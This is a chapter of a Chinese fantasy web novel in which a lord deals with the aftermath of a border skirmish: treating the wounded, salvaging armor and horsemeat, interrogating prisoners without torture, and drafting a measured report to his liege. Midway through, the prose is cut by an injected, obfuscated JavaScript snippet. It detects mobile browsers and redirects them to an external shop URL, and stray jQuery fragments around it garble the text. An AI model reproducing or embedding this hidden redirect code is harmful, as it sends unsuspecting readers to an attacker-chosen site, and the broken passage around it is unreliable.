长夏的夜风没有带来凉意。
它只是把蓝叉河谷里的血腥味、马粪味、泥浆味和生石灰的刺鼻气息搅在一起,像一块浸透污水的湿布,压在每个人的脸上。
战斗结束后的第一个小时,霍亨索伦领地没有欢呼。
长屋里全是低低的呻吟声。玛莎和几个女人把烧开的水一盆盆端进去,水汽在闷热的屋顶下凝成白雾。科尔把炉边储着的烈酒搬了出来,波利弗亲自盯着,按奥托的命令只许用来清洗伤口和刀具,谁敢偷喝,直接吊在木桩上过夜。
奥托站在长屋门口,左手扶着门框,右手拿着一块炭笔。
他没有进屋坐下。
“先处理活人。“
他对波利弗说。
“伤员分三类。第一类,立刻会死的,不浪费麻布,只给水和祷告。第二类,能救的,先止血、固定、清创。第三类,轻伤能走的,自己洗伤口,明天照样干活,但不下矿。“
波利弗脸色很白,却一条条记了下来。
长屋内,鲍勃被放在靠近门口的位置。
他的右腿被战马和盾牌挤坏,腿骨错位,皮肉肿得发紫。跛脚本和马特合力把两块削平的杉木板夹在他腿侧,再用煮过的麻布一圈圈缠紧。
鲍勃咬着木片,额头青筋暴起,却没有再喊。
奥托走到他身边,蹲下身,看了一眼固定的位置。
“再紧半圈。夜里如果肿得发黑,就松开重绑。不要让血完全断了。“
跛脚本抬头看他一眼。
“大人,这腿怕是保不住盾位了。“
“我知道。“
奥托看向鲍勃。
“你以后不上前排。“
鲍勃的眼睛猛地睁开,喉咙里发出含混的声音。
奥托继续说道:
“但你还活着。你知道马撞上盾时,人会怕成什么样。等你退热后,你教新兵怎么顶盾,怎么不闭眼,怎么把脚埋进泥里。你的口粮按教导队发,直到你不能说话为止。“
鲍勃咬着木片,眼眶发红。
奥托站起身,走出长屋。
泥场上的尸体还没有清完。
七名霍亨索伦领民被麻布盖住,摆在高地阴影下。敌军尸体则被剥去武器和甲胄,分开堆放。奥托严令不准私自割取戒指、钱袋和护符。所有战利品必须先入账,再决定归属。
“科尔。“
独眼铁匠正蹲在一具布莱伍德游骑尸体旁,检查锁甲破损处。听到声音,他立刻站起。
“大人。“
“甲胄分三类。能修的,清洗后入库。不能修但铁环完整的,拆环备用。烂到不能用的,回炉。“
奥托看向那些带血的铁环。
“不要急着分给士兵。先修好,再按战功和盾位发。谁今天离马蹄最近,谁先穿。“
科尔咧了咧嘴。
“这样他们下次会抢着站前排。“
“不会。“
奥托声音平静。
“人不会抢着送死。但他们会相信,站前排不是白站。“
科尔低下头。
“明白了。“
另一边,老农马特带着几个人正处理死马。
人尸可以埋。死马却既是疫病源,也是肉。
奥托走过去时,马特正用斧头剁开一匹重伤战马的腿骨。旁边几个年轻人脸色发青。
“内脏全部焚毁,不能下锅。“
奥托说道。
“肉切条,先用盐擦,再挂到烟架上。骨头砸开,熬胶和汤。马皮剥下来,交给跛脚本。血泥周围撒石灰,三天内不准孩子靠近。“
马特点头。
“大人,盐不够宽裕。“
“先用缴获敌军马袋里的盐。再从雷蒙德那批粗盐里拨二十磅。粮食可以稀,腌肉不能省盐。“
马特没有再问。
奥托看向不远处的浅井。
“井口加盖。今夜开始,取水只许用两只固定木桶。谁把带血的手伸进井绳,砍掉两根手指。“
这话说出来时,附近几个领民同时缩了缩手。
泥场南侧,三名被俘的布莱伍德游骑被分别绑在三根木桩上。奥托没有让人折磨他们。每个人的伤口都被简单包扎,嘴里甚至塞了湿布防止他们脱水昏死。
波利弗有些不解。
“大人,您真要留他们活口?“
“死人只会腐烂,活人才会说话。“
奥托蹲在第一个俘虏面前。
那人二十多岁,左臂中矛,脸上糊着干泥和血。他看着奥托,眼里有恐惧,也有贵族家兵特有的怨毒。
“名字。“
俘虏咬紧牙。
奥托没有拔刀。
他只是转头对波利弗说:
“记。俘虏一,拒绝自报名姓。身上带有黑鸦纹皮带扣,马鞍内侧有布莱伍德家支系烙印。左臂矛伤,已包扎。“
波利弗立刻写下。
奥托又看向俘虏。
“我不需要你承认自己是布莱伍德的人。你的马具、护符、剑鞘和同伴尸体会替你说。“
俘虏眼神微微一变。
奥托继续道:
“你若愿意说,我会把你的话原样送到海疆城。你若不说,你就只是一个袭击海疆城封臣的无旗流寇。区别在于,前者可能被赎回,后者会被吊死。“
俘虏喉结动了动。
“我叫哈根。鸦树城北营游骑。“
波利弗手中炭笔顿了一下。
奥托没有露出喜色。
“谁命令你们来的?“
哈根闭上嘴。
奥托站起身。
“不急。你有一夜时间想清楚。给他水,别给肉。“
他走向第二个俘虏。
审讯持续了半个小时,没有拷打,没有怒吼。奥托只问三个问题:姓名,所属,来意。三个俘虏说出的内容不完全一致,但都承认自己来自布莱伍德边境营,跟随塞里越界执行“查探银矿流言“的任务。
奥托转身对波利弗道:
“誊写三份口供。原件封蜡,明天随信送海疆城。副本一份留档,一份藏进老榆树箱子。“
波利弗点头。
“信怎么写?“
“先写伤亡,再写事实,最后写请求。“
奥托一边走,一边说。
“不要哭穷太过,也不要夸大战功。杰森伯爵不是傻子。我们要让他看见的是:他的封臣守住了他的银矿,也为此付出了代价。“
波利弗快速记录。
“措辞呢?“
奥托停在长屋前,抬头看了一眼黑鹰旗。
“写:一股不打正式旗号的武装骑兵,于黄昏越界侵入霍亨索伦领,踩踏领田,勒索矿税,并先行拔剑。我部依照海疆城授予之守备特许令自卫。现俘三人,缴获带黑鸦暗纹之马具、护符、剑鞘若干。因事涉邻境贵族,恳请主君派人核验,并裁定后续处置。“
他停顿了一下。
“再写:我方阵亡七人,重伤六人,铁器损耗严重,请允许以未来银矿三个月产出为抵押,向海疆城预支熟铁、麻布、盐和两匹驮马。“
波利弗抬头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635712|206573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“大人,这样会不会显得我们太弱?“
“我们本来就弱。“
奥托看向南方。
“弱不是罪。弱却装强,才会死。我要让杰森伯爵明白,我们能咬人,但还需要他的铁。“
夜色彻底落下。
远处林地里,杰克带着两个斥候回来,身上沾着草屑和泥。
“大人,逃走的四骑往南去了。塞里肩上中箭,但还活着。他们没有折返。“
奥托没有立刻回答。他看着南边林线,站了一会儿。
“他们会撒谎。“
奥托说道。
“但他们的谎言会让布莱伍德暂时不敢再派十五个人来试探。他们下一次要么不来,要么就会做足准备。“
波利弗脸色更难看。
“那我们怎么办?“
“把今晚变成账。“
奥托走向营地南界。
那里原本只有几块粗糙界石。今晚,科尔带着几个还能动的壮汉,正在立三根粗大的松木桩。桩顶没有人头,只有从敌军身上取下的破损黑鸦罩袍、裂开的盾牌和一只被斩断的马镫。
奥托亲自把一块木牌钉在中间木桩上。
木牌上是波利弗刚刻好的字:
越界持械者,视作流寇。缴械受审,抗拒即死。
科尔看着那三根木桩,有些失望似的咕哝:
“大人,我还以为您会把他们的头挂上去。“
奥托看了他一眼。
“头颅是最后的语言。我们还没到只能用最后语言说话的时候。“
他转过身,望向南方黑沉沉的林线。
“先让羊皮纸去海疆城。再让活俘去说话。等所有人都假装听不见时,我们再让木桩开口。“
科尔低头。
“明白。“
子夜时分,阵亡者的家属被召到长屋火塘前。
七只小羊皮袋摆在木桌上。每袋里装着先发的一半抚恤:七十五枚银鹿。剩余一半,待波利弗核准家室名册后发放。阵亡者家属免除五年重劳,孤儿由公共火塘供养到能劳动为止。
奥托站在火光边,没有说多余的话。
“他们按契约为领地站在盾后。现在轮到领地按契约养他们的家。“
一个失去丈夫的女人抱着钱袋,哭得浑身发抖。
奥托没有伸手安慰。
他看向剩下的士兵和民兵。
“今天脱阵的三人,明天日出后审。若只是恐惧后退,鞭刑,降口粮,重新训练。若有人丢盾逃跑,逐出领地,永不许入火塘。“
人群里一片沉默。
深夜,波利弗把写好的信放在奥托面前。
奥托逐字看完,改掉了两个词。
他把“布莱伍德骑兵“改成“带黑鸦纹饰之越界武装“。
又把“敌袭“改成“无信函武装侵入“。
波利弗不解。
“大人,这不是在替他们留余地吗?“
“不是。“
奥托滴下火漆,按上双头黑鹰戒印。
“这是在替杰森伯爵留余地。只有他有余地,他才会站到我们这边。“
火漆冷却。
信封被交给杰克。
奥托最后一次走到长屋外。
泥场已经被撒上生石灰,白色粉末覆盖了大部分血痕。三根界桩立在南风里,黑鸦破布低低摇晃。长屋里仍有伤员呻吟,但火塘没有熄。
他抬头看了一眼双头黑鹰旗。
“铁与血,诺言如钢。“
然后转身走进长屋,把门带上了。